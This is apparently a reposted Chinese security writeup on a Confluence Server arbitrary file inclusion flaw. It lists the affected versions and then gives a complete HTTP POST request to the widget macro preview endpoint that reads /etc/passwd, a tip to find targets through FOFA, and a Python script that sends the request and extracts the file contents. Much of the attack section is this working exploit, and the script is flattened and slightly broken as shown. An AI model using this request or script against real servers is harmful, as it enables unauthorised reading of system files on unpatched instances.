Confluence Server 任意文件包含

预警

freebuf

影响范围

  • Confluence Server , Confluence Data Center
  • 所有1.xx,2.xx,3.xx,4.xx和5.xx版本
  • 所有6.0.x,6.1.x,6.2.x,6.3.x,6.4.x和6.5.x版本
  • 6.6.12之前的所有6.6.x版本
  • 所有6.7.x,6.8.x,6.9.x,6.10.x和6.11.x版本
  • 6.12.3之前的所有6.12.x版本
  • 6.13.3之前的所有6.13.x版本
  • 6.14.2之前的所有6.14.x版本

更新版本

  • 版本6.6.12及更高版本的6.6.x.
  • 版本6.12.3及更高版本的6.12.x
  • 版本6.13.3及更高版本的6.13.x
  • 版本6.14.2及更高版本

复现与分析

复现

fofa上面直接搜 Confluence
关于Confluence版本的查看,一般在页面最下面可以直接查到
blob.jpg
是关于flash解析问题的漏洞具体原因有待分析

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: Confluence
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=B3D111E1CC9CF48E038E4196E113C804
Referer: https://Confluence
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.2
Cache-Control: max-age=0
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHTTPRequest
Content-Length: 181

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/embed/23464dc5/","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

blob.jpg

任意命令执行


import requests import re headers = { "User-Agent": "Mozilla/5.0 \ (Windows NT 10.0; Win64; x64) \ AppleWebKit/537.36 (KHTML, like \ Gecko) Chrome/73.0.3683.47 Safari/537.36", "Content-Type": "application/json; charset=utf-8", "Cookie": "", } def plugs(ip): pattern = re.compile("<div class=\"wiki-content\">([a-zA-Z0-9\/\:\ \n\r]*?)</div>") session = requests.sessions() data = '{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/embed/23464dc5/","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}' data = session.post(ip, headers=headers, data=data).text data = pattern.findall(data) if data: return data[0] return data

发表评论